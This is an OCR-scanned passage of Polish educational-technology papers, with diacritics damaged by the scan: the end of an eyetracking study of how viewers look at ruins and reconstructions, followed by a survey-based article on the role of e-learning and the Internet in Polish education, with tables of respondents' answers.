mujace wigkszy obszar obserwacji umozliwiaja precyzyjniejsze zdefiniowanie
pol ewentualnych indukcji. Po drugie, nasycenie rekonstrukcjami powinno by¢
umiarkowane, wtasnie ze wzgledu na mozliwe rozproszenie pol indukc;ji.
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Rysunek 11. Sciezka patrzenia (gazeplote) Rysunek 12. Sciezka patrzenia wraz
Z zaznaczonymi obszarami AOI

Sposob ogladania materialu byt ustalony i niezmienny dla kazdego uczestni-
ka. Polegal on na utozeniu zdjg¢ naprzemiennie (tzn. jako pierwsze ukazywato si¢
zdjecie ,,ruin”, Kolejne zdjecie — ,,rekonstrukcja”, nastgpnie ,,ruiny” i kolejne ,,re-
konstrukcja” itd.). Przewidziano pig¢ mozliwych powtorzen. Jest to wazna informa-
cja, poniewaz w ,,Analizie wynikow” zagadnienie to nie bedzie podejmowane.

Do eksperymentu majgcego na celu zdiagnozowanie i ujawnienie indukcji
nieistniejacych obrazow zastosowano technike eyetrackingu. Eyetracking jest
zespotem technik badawczych przeznaczonych do pomiaru, rejestracji i analizy
danych o polozeniu i ruchach galek ocznych. Eyetracking dostarcza ilo§ciowych
danych pomiarowych nie odwotujac si¢ do subiektywnych, werbalnych relacji
badanego. Bazuje na obiektywnych procesach psychofizycznych i neuropsycho-
logicznych towarzyszacych: akwizycji 1 przetwarzaniu informacji wzrokowej,
reakcjom okoruchowym na odbierane z otocznia bodzce. Jest technika komple-
mentarng w stosunku do innych metod i technik stosowanych w badaniach psy-
chospotecznych.

Idea badania polega na odtworzeniu miejsc fiksacji (zatrzymania) wzroku
uczestnika badania, czasow trwania fiksacji wzroku w danym miejscu oraz reje-
stracji kierunkow przemieszczen (sakad) wzroku. Urzadzenie rejestrujace jest
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W istocie specjalnym komputerem, ktory z matematyczna doktadnoscig potrafi
okresli¢ miejsca skupienia uwagi obserwatora na dowolnym obrazie. W ten spo-
sob mozemy wskaza¢ przebieg Sciezki uwagi zarejestrowanym w dowolnym
przedstawieniu ujawniajacym znamiona obrazu. W analizie dlugosci fiksacji
korzystamy ze zdefiniowanych obszaréw AOI (Areas Of Interest) natozonych na
warstwe obrazu. Obszary AOI definiowane sg z punktu widzenia celu badania.
Na kazdym obrazie mozna wyznaczy¢ wiele takich przestrzeni. Kazdy obszar
powinien zosta¢ nazwany w sposob jednoznacznie rozstrzygajacy. Niekiedy nie
wiadomo, ktdére obszary mogg by¢ ogladane i jak one moga wplywacé na inne
(wazne lub nieistotne) szczegoély obrazu. Takie subtelne interakcje najlepiej
rozstrzygac kierujac si¢ do§wiadczeniem w analizach badan eyetrackingowych.
Analizy dokonywane sa w kilku przekrojach, pokazujacych dane graficzne
w réznych wizualnych ujeciach. Wyniki zazwyczaj prezentowane sa w postaci
tabel 1 wykresow.

Zakonczenie

Technika badan eyetrackingowych jest elementem technologii informacyj-
nej, ktéra wspolczesnie obecna jest w edukacji wszystkich szczebli ksztalcenia.
Nalezy przy tym zaznaczy¢, ze niewiele narzedzi informatycznych, wspomaga-
jacych proces ksztatcenia, posiada jednoczesnie mozliwosci optymalizacji komu-
nikatéw, w tym opisywanym przypadku, wizualnych. Technika eyetrackingu za-
chowuje te wlasciwos¢, jednoczesnie pozostajac obiektywnym weryfikatorem.
Technika ta jest w zasadzie zaawansowanym technologicznie komputerem ze
specjalnym, dedykowanych oprogramowaniem, i nie jest wolna od znanych za-
grozen plynacych bezposrednio z wykorzystywania komputera. Zagrozenia te
podzielone sg na grupy: fizyczne, psychiczne, moralne, spoteczne i intelektualne.

Na zakonczenie nalezy mocniej podkresli¢ zagrozenia intelektualne najbar-
dziej bliskie funkcji optymalizacyjnej komputera. W gtownym nurcie zagrozen
dostrzec nalezy szok informacyjny i bezkrytyczne zaufanie do nieomylnosci
programu. Z tym faktem bezposrednio zwigzana jest nadmiarowos$¢ przekazy-
wanych danych oraz wysokie tempo ich transferu. Zagrozenie takie wywolane
jest ograniczeniem kognitywnym cztowieka wynikajacym bezposrednio z moz-
liwosci percepcyjnych. Bariery poznawcze stwarzaja poczucie dezorientacji,
chaosu czy bezradno$ci. Doznania takie niekiedy okreslane sg jako stres infor-
macyjny, mogacy stanowi¢ jedng z odmian stresu poznawczego lub bardziej
ogolniej — cywilizacyjnego. Z tym problemem laczy si¢ zagrozenie sptycenie
umiejetnosei selekeji i syntezy informacji, a to niekiedy prowadzi¢ moze do
braku samodzielnego myslenia i nieumiej¢tnosci dziatania praktycznego.
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Streszczenie

Mechanizm edukacji jest podstawowym procesem w zyciu cztowieka, ktory ma ogromny
wplyw na jego rozwdj. Dzigki olbrzymiemu rozwojowi technologii informacyjnej powoli trady-
cyjna nauka w murach szkoty zostaje wypierana przez metody nowocze$niejsze, do ktéorych mozna
z powodzeniem zaliczy¢ e-nauczanie.

Summary

The mechanism of education is a fundamental process in the life of a man who has a huge in-
fluence on his development. With the tremendous growth of information technology is slowly
learning in traditional school walls is displaced by more modern methods that can successfully
include e-learning.

Wstep

Mechanizm edukacji jest podstawowym procesem w zyciu cztowieka, ktory
ma ogromny wplyw na jego rozwdj. Dzieki olbrzymiemu rozwojowi technologii
informacyjnej powoli tradycyjna nauka w murach szkoly zostaje wypierana
przez metody nowoczes$niejsze.

Internet stat si¢ najwazniejszym zrédlem informacji dla duzej czgsci spote-
czenstwa. Korzysta z niego ok. 13 mIn Polakow, a na $wiecie liczba internautow
jest ponad sto razy wicksza. Sredni czas spedzany w sieci przez osoby w wieku
15-24 lat wynosi ponad 33 godziny miesigcznie™.

Im. Czyzewicz, Analiza popularnosci ustug internetowych wspomagajgcych edukacje [W:]
Informatyka w dobie XXI wieku. Nowoczesne systemy informatyczne i ich zastosowania, Politech-
nika Radomska, Radom 2008; GUS, Wykorzystanie technologii informacyjno-telekomunikacyjnych
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Uczniowie i studenci stanowia 81% internautéw korzystajacych regularnie
z Internetu®.

Nastgpstwem tego jest zmiana kierunkoéw pozyskiwania wiedzy i informacji.
Dotychczas byly to formy tradycyjne: ksigzka, radio, telewizja. Obecnie w duzej
mierze jest to Internet wraz z jego ustugami: e-mail, FTP, grupy dyskusyjne, czat,
zasoby WWW, RSS, radio, telewizja i telefonia internetowa, blogi. Dlatego nieu-
niknione jest stosowanie Internetu do wspomagania edukacji.

Internet stal si¢ nieodlacznym elementem naszego codziennego Zzycia,
wspomagajacym edukacje, pomagajacym w zyciu zawodowym, bedac réwno-
czesnie czynnikiem utatwiajacym wyszukiwanie informacji, jak réwniez begdac
forma rozrywki.

Internet uznany za najbardziej demokratyczna forme przekazu stat sie do-
stepny wiasciwie dla kazdego. Probuja zaistnie¢ w nim ludzie, ktorzy
w innych mass mediach nie zostaliby dopuszczeni do prezentacji swych pogla-
dow. Wzrastajaca komputeryzacja naszego zycia budzi w wielu srodowiskach
lgk, ze oddanie ludzkich spraw w cybernetyczne rece odbierze nam jakgkolwiek
nad nimi kontrolg®.

Dzis$ Internet jest cennym zrédlem informacji i narzedziem do szybkiej ko-
munikacji. Oferuje on coraz szersza game swoich ustug dla przeci¢tnych odbior-
cow, jak i dla wymagajacych uzytkownikow. Internet stat si¢ najbardziej demo-
kratycznym medium globalnym. To zupelnie nowy jakosciowy srodek wymiany
mysli. Po raz pierwszy w dziejach cywilizacji nadawca ma takie same prawa jak
odbiorca. Internet dokonat zmian w $wiadomos$ci ludzi. Jest absolutnie anoni-
mowy. Kultura infocywilazcji nie bedzie mogla obyc¢ si¢ bez Internetu. Sie¢ to
przede wszystkim zjawisko kulturowe®.

Korzysci wykorzystania sieci Internet obecnie wydajg si¢ wszystkim znane.
Warto jedynie przytoczy¢ te najwazniejsze. Z pewnoscig najwartoSciowszg rze-
cza jaka wyr6znia to medium od innych, jest swobodny dostep do praktycznie
nieograniczonej ilosci danych. Dostep swobodny i praktycznie nieograniczony
ze wzgledu na miejsce pobytu uzytkownika. Szybki transfer danych, danych nie
tylko w formie tekstu, ale i wzbogaconych o animacje, graficzne oraz fonie.
Roéwniez istotny jest tu aspekt interakcyjnosci, ktora pozwala na aktywne
uczestnictwo kazdego uczestnika pracujacego w sieci. W odniesieniu do trady-
cyjnych mediow (TV, gazeta itp.) uczestnik ma mozliwos¢ wiaczenia si¢ w prze-
bieg wszelkich prac w zakresie wymiany danych. Kolejny istotnie wazny atrybut

W przedsigbiorstwach 1 gospodarstwach domowych w 2006 r, http://www.stat.gov.pl/—gus/—45—_
3067_PLK_HTML.htm

2 M. Czyzewicz, Analiza popularnosci ustug...; PBIIGemius, Sredni miesieczny czas spedza-
ny w Internecie w roznych grupach wiekowych, dostepny: http://www.gemius.pl

3A. Molga, Internet jako powszechnie dostepna sie¢ [w:] Informatyka w dobie XXI wieku.
Technologie informatyczne w nauce, technice i edukacji, Politechnika Radomska, Radom 2009.

* H. Hahn, Internet, (ttum. M. Czajkowski), Wydawnictwo Rebis, Poznan 2001.
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sieci Internet to oczywiscie warto$ci komunikacyjne, chociazby poprzez komunika-
tory internetowe czy poczt¢ elektroniczng. Internet oferuje mozliwosci rozwoju inte-
lektualnego kazdego cztowieka, ksztalcenia na odlegtosé (distance learning) itd.”

W czasie gigantycznych zmian na catym $wiecie, ktére z dnia na dzien mo-
zemy zaobserwowac, zauwazy¢ nalezy, ze zmuszaja nas one do szukania cat-
kiem nowych rozwigzan. Aby zmiany te mialy pozadane efekty, nalezy zaczac je
udoskonala¢ od samych podstaw, czyli nalezy rozpoczaC je na etapie procesu
edukacyjnego. Jako jedna z metod unowoczes$niania nauczania dzieci, mtodzie-
zy, a takze 0sob dorostych nalezy przyjaé e-nauczanie®.

E-learning, ktéry dotychczas byt okreslany jako ,,nauczanie na odleglos¢”,
nabrat duzo wiekszej wartosci przez wzrost zainteresowania Internetem. Stat sie
on bardzo popularny, poniewaz dostep do niego jest praktycznie wszedzie, przez
€O e-nauczanie zwigkszylo swoje mozliwosci i jako$¢ nauczania tg metoda.

Dotychczas jest jeszcze mato badan dotyczacych udziatu e-nauczania jako
nowoczesnej formy ksztalcenia. Dotad skupiano si¢ raczej na tym, Ze istnieje
nowy sposob nauczania. Przez ten fakt podjetam si¢ proby odpowiedzi na nurtu-
jace pytanie, jaki udzial ma e-learning w nowoczesnej formie ksztatcenia dzieci
i mtodziezy'.

Nauczanie na odlegtos¢ w Polsce ma obszerng historig, w rezultacie wdro-
zonych przedsigwzig¢ w ramach informatyzacji kraju, sporzadzono osrodki edu-
kacji na odlegtos¢ w zakresie programu ,,Phare Multi — Country Programme for
Distance Education”, ktorego zadaniem jest rekomendowanie e-nauczania®.

1. Internet i e-learning w procesie ksztalcenia — wyniki badan

Niniejsze opracowanie jest probg odpowiedzi na pytania:
1. Jaki udzial ma e-learning w ksztalceniu dzieci i mtodziezy?
2. Jaka role odgrywa w doksztatcaniu ludzi, ktérzy chca sig rozwijac?
3. Jaka rolg¢ w nauczaniu na odlegtos$¢ pelni Internet?
4. Czy e-learning jest konkurencja dla tradycyjnej formy nauczania?

% T. Prauzner, Technologia informacyjna — wybrane problemy spoleczne, ,Education —
Technology — Computer Science, Main problems of informatics and information education”,
Scientific annual No. 3/2012, Part 2, Uniwersytet Rzeszowski, Wydawnictwo O$wiatowe FOSZE,
Rzeszow 2012.

® A. Piecuch, Uniwersalno$¢ technologii informacyjno-komunikacyjnych. Telemedycyna,
»Education — Technology — Computer Science”...

" M. Wojtowicz, Wykorzystanie komputera w procesie nauczania i uczenia sie matematyki
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Ankiety skierowane byly do studentow, uczniow i nauczycieli i przeprowa-
dzono je metoda online. Umieszczone zostaty na forum internetowym dotycza-
cym e-learningu. Wybrana metoda przyniosta oczekiwany skutek. Badanie byto
skierowane do 0sdb uczacych si¢ metodg na odlegto$¢ zamiast tradycyjnie.

Kwestionariusz zostal wypetniony przez 87 osob, gdzie 48 (55%) to kobiety
(rysunek 1). Na podstawie wynikow mozna wnioskowaé, ze kobiety wykazujg
wigcej zainteresowania tag metoda nauki.
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Rysunek 1. Ple¢ ankietowanych

Wiek ankietowanych byt zréznicowany, lecz najwigcej oso6b znajdowalo si¢
w przedziale wiekowym 15-25 lat, co stanowi 82% ogolnej liczby. 10% wska-
zan dla 25-35 lat, 4% dla wieku do 15 lat oraz po 2% dla przedzialow 35-45
i 45-55 lat. Mozna wigc uznad, ze e-learning jako nauka na odlegtos$¢ cieszy sie
wiekszg popularnoscig wsrdd oséb mtodych (rysunek 2).

@< 15 lat ®15-25 O 25-35 0 35-45 M 45-55 @> 55 |

Rysunek 2. Wiek 0sob uczacych si¢ systemem e-learning (liczba wskazan)
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Zbadany zostat takze poziom wyksztalcenia uczestnikow ankiety (rysunek
3). U ankietowanych przewazato w znacznym stopniu wyksztalcenie $rednie
ogoblnoksztatcace — 63 wskazania, na drugim miejscu uplasowato si¢ wyksztat-
cenie wyzsze — 9 wskazan, a dalej kolejno zasadnicze zawodowe — 7, $rednie
zawodowe — 4, podstawowe — 3, pomaturalne — 1.
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srednie zawodowe

zasadnicze zawodowe
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Rysunek 3. Wyksztalcenie ankietowanych (liczba wskazan)

Analizujac te dane wywnioskowaé mozna, ze osoby z wyksztatceniem $red-
nim ogdlnoksztatcagcym daza do zdobycia jakiego$ zawodu, kwalifikacji, gdyz
po ukonczeniu liceum nie potrafig znalez¢é pracy w zadnym zawodzie. Osoby
z wyksztalceniem wyzszym prawdopodobnie pragng zdoby¢ dodatkowe infor-
macje, umiejetnosci, aby moc si¢ rozwijac.

Kolejne pytanie ankiety dotyczylo czestotliwosci korzystania respondentow

z Internetu (tabela 1).

Tabela 1. Czgstotliwosé korzystania z Internetu

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
Kilka razy dziennie 82 94
Raz dziennie 5 6
Raz na 2 dni 0 0
Raz na tydzien 0 0
Rzadziej 0 0
Razem 87 100
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Jak wynika z analizy rysunku 4 dotyczacego dtugosci uczenia si¢ metoda
e-learning z roku na rok wzrasta jego popularnos¢. Wérdd ankietowanych naj-
wigksza grupe stanowity osoby, ktore korzystaja z nauki na odlegtos¢ do roku
czasu (31 wskazan), nastepna w kolejnosci byta grupa z przedziatu 1-2 lata nau-
ki — 28 wskazan, trzecia z 2—3-letnim stazem i jako ostatnia ponad 3 lata. Swiad-
czy to o tym, ze ankietowani dopiero w ciggu trzech ostatnich lat poznali zalety
e-learningu i postanowili z niego skorzystac.

oo0-1
m1-2
02-3
0>3

Rysunek 4. Dlugo$¢ trwania nauki

Nastepne pytanie ankiety dotyczylo psychologicznego podejscia do e-na-
uczania, co moze by¢ jedna z niewielu wad takiej nauki. Ankietowani na pyta-
nie czy doswiadczyli uczucia samotno$ci i wyobcowania w trakcie nauki
w wiekszosci odpowiedzieli twierdzgco. Wyniki tego pytania przedstawione sg
w tabeli 2.

Tabela 2. Czy czule$ si¢ wyobcowany i samotny podczas nauki online?

Mozliwe odpowiedzi Liczba wskazan Udziat [%)]
Tak 58 67
Nie 29 33
Razem 87 100

W nawigzaniu do pytania powyzszego nalezy uwzgledni¢ odpowiedzi na pyta-
nie nastepne, ktore samo si¢ narzuca przy analizie. Czy w wypadku odczué¢ wyob-
cowania i samotnosci warto wprowadzi¢ porady psychologa online. Wedlug re-
spondentow takze byta ona oczywista. Az 68 0sdb (78% odpowiedzi) opowiedziato
si¢ za wprowadzeniem pomocy ze strony psychologicznej (rysunek 5).
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Rysunek 5. Czy uwazasz, ze powinny by¢ porady psychologa online?

Mimo problemoéw z wyobcowaniem i samotno$cia ankietowani podzielili swoje
odpowiedzi prawie po rowno (tabela 3), jesli chodzi o pomyst potaczenia tradycyj-
nej metody nauczania z e-learningiem jako odpowiednig motywacj¢ i pozbycie si¢
zhych odczué, o ktorych byta mowa w poprzednich dwoch pytaniach.

Tabela 3. Czy jest motywacja przy nauce online?

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
Tak 41 47
Nie 46 53
Razem 87 100

Oséb
niepetnosprawnych
dziennie
Osbb mieszkajgcych
zaocznie

Os6b pracujacych
za granica

Oso6b uczacych sie

Osob uczacych sie

Oso6b uczacych sie
wieczorowo

Rysunek 6. Dla kogo e-learning jest najlepszy?

Zastanawiajac si¢ nad zaletami e-learningu pierwsza mysla, jaka si¢ nasuwa,
jest to, dla kogo przede wszystkim jest to najlepsza metoda nauki. Tego wlasnie
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dotyczyto jedno z pytan w kwestionariuszu. Najwiecej osob (52) stwierdzito, ze
dla ,,0s6b niepetnosprawnych”, kolejne 18 0séb zaznaczylo odpowiedz: ,,0s0by
mieszkajace za granica”. Mniej odpowiedzi przypadto dla ,,0s6b pracujacych”
(11), ,,uczacych si¢ zaocznie” (4) i ,,uczacych si¢ wieczorowo” (2). Nikt z ankie-
towanych nie zaznaczyt odpowiedzi ,,0s6b uczacych si¢ dziennie”.

Inne pytanie dotyczyto okreslenia przez osoby uczestniczace w badaniu za-
potrzebowania na taki system nauki w Polsce. Analizujac wyniki (tabela 4)
mozna uznac, ze jest ono duze — tak odpowiedzialo 29% respondentow.

Tabela 4. Zapotrzebowanie na e-learning w Polsce

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
Bardzo duzy 6 7
Duzy 36 41
Sredni 25 29
Maty 18 20
Bardzo maty 2 3
Razem 87 100

Celem kolejnego pytania bylo uzyskanie odpowiedzi, jaka forma kontaktu
dominuje mi¢gdzy uczniem a nauczycielem. Z analizy rysunku 7 wynika, ze naj-
popularniejszg forma jest kontakt oparty na Internecie, czyli: poczta elektronicz-
na — e-mail (78%), forum (33%), komunikator internetowy (34%), wideokonfe-
rencja (26%), czat (21%). Najmniej popularna jest forma kontaktu tradycyjna
pocztg (3%). Przy dalszej analizie mozna wysnu¢ wniosek, ze ankietowani bar-
dziej preferuja kontakt pisemny od wizualnego.
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Rysunek 7. Sposoby kontaktow z nauczycielem
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Jedynie 8% respondentow wskazalo odpowiedz ,,inne” uzupehiajac to pole
osobista metoda kontaktu tak zwang ,,face to face”.

Kolejny aspekt poruszony w tym kwestionariuszu jest sposob egzaminowa-
nia uczniow z posiadanej wiedzy. Jak mozna zauwazy¢é w tabeli 5, najwiecej
ankietowanych wskazato e-mail (69%) oraz wideokonferencje (79%) z duza
przewaga nad pozostatymi sposobami jak czat (28%) oraz osobiscie na uczelni
w tradycyjny sposob (18%).

Tabela 5. Sposoby egzaminowania ucznia

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
e-mail 60 69
Czat 24 28
Wideokonferencja 69 79
Osobiscie na uczelni 14 18
Inne 0 0

Wynik tego badania wskazuje na bardzo wysoki poziom wykorzystywania
wideokonferencji ze wzgledu na kontakt wizualny. Jest to najlepszy przyktad
synchronicznego modelu nauczania, ktory jest bardzo bliski modelowi tradycyj-
nemu. Tg metoda mozna bezposrednio sprawdzi¢ poziom wiedzy ucznia.

Pigtnaste pytanie ankiety dotyczyto wptywu Internetu na rozwdj edukacyj-
ny. W wigkszo$ci ma on bardzo duzy (61%) oraz duzy (33%) wplyw na eduka-
cje. Nalezy takze zauwazy¢, iz nikt z respondentdow nie zaznaczyl odpowiedzi
»hie ma wptywu” (tabela 6), co $wiadczy o bardzo waznej roli Internetu w pro-
cesie edukacji metoda e-learning.

Tabela 6. Stopien rozwoju edukacyjnego

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
Bardzo duzy 53 61
Duzy 29 33
Sredni 4 5
Maty 1 1
Nie wptywa 0 0
Razem 87 100

Oceng zdobytej wiedzy metoda e-nauczania wyjasni analiza rysunku 8. 66%
ankietowanych okresla metode jako bardzo dobra, 30% jako dobrg i jedynie
4% respondentow jako zta. Warto zauwazy¢, jak maty procent ankietowanych
0s0b zaznaczyl ostatniag odpowiedz oraz to, ze zadna osoba nie okreslita po-
ziomu swojej wiedzy jako bardzo zta. Wynika z tego, ze wedtug badanych
nauka na odlegto$¢ daje takie same rezultaty w nauce co tradycyjny system
ksztatcenia.
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Rysunek 8. Ocena zdobytej wiedzy metodg e-learning

W dobie rozwoju technologii oraz popularnosci Internetu zastanawia¢ moze
fakt, co moze sktoni¢ ludzi do podjecia nauki metoda e-learning. O to wiasnie
w kolejnym pytaniu zostali zapytani ankietowani. Wyniki przedstawione sa w tabeli 7.

Tabela 7. Czynniki sklaniajace do wybrania nauki przez Internet

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
Aspekt czasu 45 52
Rodzina 10 11
Brak dojazdu 55 63
Aspekt finansow 18 21
Znajomi 21 24

Ponad potowa oséb wskazata dwa istotne czynniki: brak mozliwosci dojaz-
du do tradycyjnej szkoly (63%) oraz brak czasu na codzienne uczgszczanie do
szkoty (52%). Pozostate czynniki jak: wpltyw znajomych (24%), aspekt finansow
(21%) oraz wptyw rodziny (11%) okazaly si¢ mniej istotne. Przy analizie
tych wynikow nasuwa si¢ wniosek, ze obecnie osoby uczace si¢ zamiast
marnowac czas na dojazdy i powroty z uczelni wolg go wykorzysta¢ na nauke
w domu.

Dwa kolejne pytania kwestionariusza skupiaty si¢ na sprawdzeniu znajomo-
sci form ksztalcenia przez ankietowanych (rysunek 9) oraz wykorzystywania
materiatow dydaktycznych do nauki (tabela 8).
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Rysunek 9. Formy ksztalcenia

Jak wynika z rysunku 9, zdecydowana wigkszo$¢ respondentow zaznaczyta
znajomo$¢ nauki poprzez Internet (79%) oraz programy na CD (67%). Nastepne
w kolejnos$ci jest: nauczanie korespondencyjne (23%). Pozostale opcje nauki
uzyskaty mate uznanie, gdyz ich efektywno$¢ moze si¢ okaza¢ znikoma. Zali-
czaja si¢ do nich: TV (3%), radio (1%) oraz wskazane przez uczestnikow
W opcji ,,inne” samoksztatcenie (2%). Wniosek jest jeden: ewaluacja Interne-
tu wptyneta na rozwdj nauki na odlegtos¢ i rozpowszechnienie tej metody
ksztatcenia.

Nastepne pytanie dotyczylo materiatow dydaktycznych uzywanych przez
respondentow do nauki. Tu takze zwycigzyt Internet. Ankietowani z ogromna
przewaga nad pozostalymi zaznaczyli materialy znalezione w Internecie
(78%), dalej uplasowaty sie ptyty CD lub DVD (31%), prezentacje multime-
dialne (26%), wlasne notatki (21%) oraz na ostatnim miejscu podreczniki
(13%).

Zestawienie tych danych dowodzi, ze osobom korzystajacych z nauki na od-
legtos¢ najtatwiej jest korzysta¢ z wiadomosci umieszczonych w Internecie, na
plytach CD lub zawartych w prezentacjach multimedialnych. Najrzadziej ankie-
towani korzystajg z wiasnych notatek lub podrecznikoéw, co pewnie zwigzane
jest z czasem, ktory musza poswiecic¢, aby znalez¢ dang pozycje literatury oraz
ja zakupi¢ lub wypozyczyc¢.
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Tabela 8. Materialy dydaktyczne wykorzystywane do nauki

Mozliwe odpowiedzi Liczba wskazan Udziat [%]
Plyta CD lub DVD 27 31
Podreczniki 11 13
Whasne notatki 18 21
Materiaty z Internetu 68 78
Prezentacja multimedialna 23 26
inne 0 0

Wigkszo$¢ ankietowanych jest ostrozna w ferowaniu oceny, czy zasoby sie-
ci Internet pomagajg w procesie uczenia czy tez nie; by¢ moze wptyw na takie
wyniki majg mozliwe zagrozenia internetowe i kwestie etyczne zwigzane z wy-
korzystaniem zdobytych w ten sposob materiatow (rysunek10)°.

2P

Obardzo duza Oduza Bsrednia Mmata Bbardzo mata

Rysunek 10. Internet — rola w procesie uczenia'®

Zasoby stron WWW najczesciej sg uzywane do samodzielnego pozyskiwania
wiedzy przez studentéw. Taki sposdb przekazu tresci doskonale nadaje si¢ do ucze-
nia dla 82% ankietowanych. Dlatego te forme przekazu powinni stosowac nauczy-
ciele akademiccy przygotowujac materiaty dydaktyczne dla studentow. Zastosowa-
no tu rozwigzania w e-learningu, ktory stat sie nicodtgczng metoda wspierania zaje¢
tradycyjnych formami elektronicznymi dostepnymi on-line™".

® E. Satata, Internet — zrédlo informacji dla nauczyciela [w:] Informatyka w dobie XXI wieku.
Technologie informatyczne i ich zastosowania, Politechnika Radomska, Radom 2010.

0 Tamze.

1 M. Czyzewicz, Analiza popularnosci...; M. Zajac, M. Dabrowski, E-learning w ksztatceniu
akademickim, Warszawa 2006
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Rysunek 11. Ushugi internetowe stosowane do pozyskiwania wiedzy*?

Nowoczesne rozwigzania IT podnosza bardzo atrakcyjnos¢ formy przeka-
zywanej tematyki oraz daja nowe mozliwos¢ kontaktu ze studentami. Tak przy-
gotowane zajecia moga zosta¢ wsparte poczta elektroniczna, ktora cieszy si¢
rowniez duzym uznaniem jako sposob pozyskiwania wiedzy. Pozwala na staty
kontakt ze studentem, ktory nie czekajac na termin konsultacji moze w dowol-
nym czasie zada¢ pytanie w postaci listu elektronicznego. Adresatem nie zawsze
jest nauczyciel prowadzacy przedmiot. Moze to by¢ kolega z grupy, znajomy lub
nawet nauczyciel z innej uczelni. Przynosi to wymierne korzysci dla uczacego
si¢ i nauczajqcego13

Podsumowanie

Po przeprowadzonych badaniach uzyskano wyniki, ktore prezentuja, jak re-
spondenci oceniajg nauke przez Internet. Wedtug ankietowanych jest ona efek-
tywniejsza dzigki przekazywaniu wiadomosci w sposob modutowy a nie ciagly,
co bardziej zwraca uwagg ucznia na jako$¢ informacji a nie na ilo$¢. Dzigki
takiemu systemowi nauki w atrakcyjny sposdéb mozna przekazaé wiedze ucz-
niom niezaleznie od migjsca ich pobytu.

Internet wsrod ucznidw budzi ogromne zainteresowanie, jako medium wy-
korzystywane do przekazywania informacji, poszerzania wlasnych zaintereso-
wan i szeroko rozumianej rozrywki. Jednocze$nie jest wedlug pedagogow
w niewielkim stopniu wykorzystywany w procesie dydaktycznym w toku zajeé
innych niz informatyka z wielu ztozonych przyczyn

12 Tamze.
B M. Czyzewicz, Analiza popularnosci...
14 E. Satata, Internet — zrédlo informacji...
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Od kiedy masowy dostep do globalnej infrastruktury informacyjnej stat si¢
faktem, Internet mozemy $miato okresli¢ jako nowa przestrzen edukacyjng. Spe-
cyfika przekazywania wiedzy za jego posrednictwem spowodowala nakreslenie
nowej rzeczywistosci. Rzeczywisto$¢ ta zmienia nasze spojrzenie i tradycyjne
odniesienie si¢ do edukacji i warto$ci z nig zwigzanych. Tendencje pojawiajace
si¢ w ksztatceniu sg nastepstwem zmian zachodzacych w calym spoteczenstwie.
W dzisiejszych czasach zdobywanie wiedzy i coraz to wigkszych umiejetno-
$ci odbywa si¢ czgsto poza ustalonymi strukturami edukacyjnymi takimi jak
szkota czy praca. Rezultatem postepujacych przemian jest wprowadzenie
wielu zmian réwniez w edukacji i sposobie jej postepowania, a Internet stat
si¢ kluczowa technologiag w tych zmianach. Wiedza w globalnym spoteczen-
stwie informacyjnym przybrata obecnie dominujacg role. Jednoczesnie wie-
dza ta bedzie si¢ z jednej strony szybko dezaktualizowaé, a z drugiej strony —
szybko przyrastaé®.

Rozwoj e-learningu umozliwit nie tylko prowadzenie szkolen na odlegtosc,
ale rowniez ptynny przepltyw informacji migdzy prowadzacym a odbiorcami,
dostosowujac si¢ do ich tempa. Ten nowoczesny model ksztalcenia wymagat
stworzenia specjalistycznych narzedzi stuzacych do organizacji procesu dydak-
tycznego o wysokim stopniu interaktywnosci.

Nalezy mie¢ rowniez na uwadze fakt, ze nauczanie e-learning staje si¢ stan-
dardem nauczania i spostrzegane moze by¢ jako cel i opracowanie polityki edu-
kacji w szerszym zakresie i oddziatywaniu.

Temat e-learningu musi by¢ ustawicznie kontrolowany i poddawany dysku-
sji, jest to nowos¢, ktéra moze podazy¢ w ztym kierunku i wlasnie o tych uwa-
gach nalezy mowi¢ gloéno i stanowczo™.
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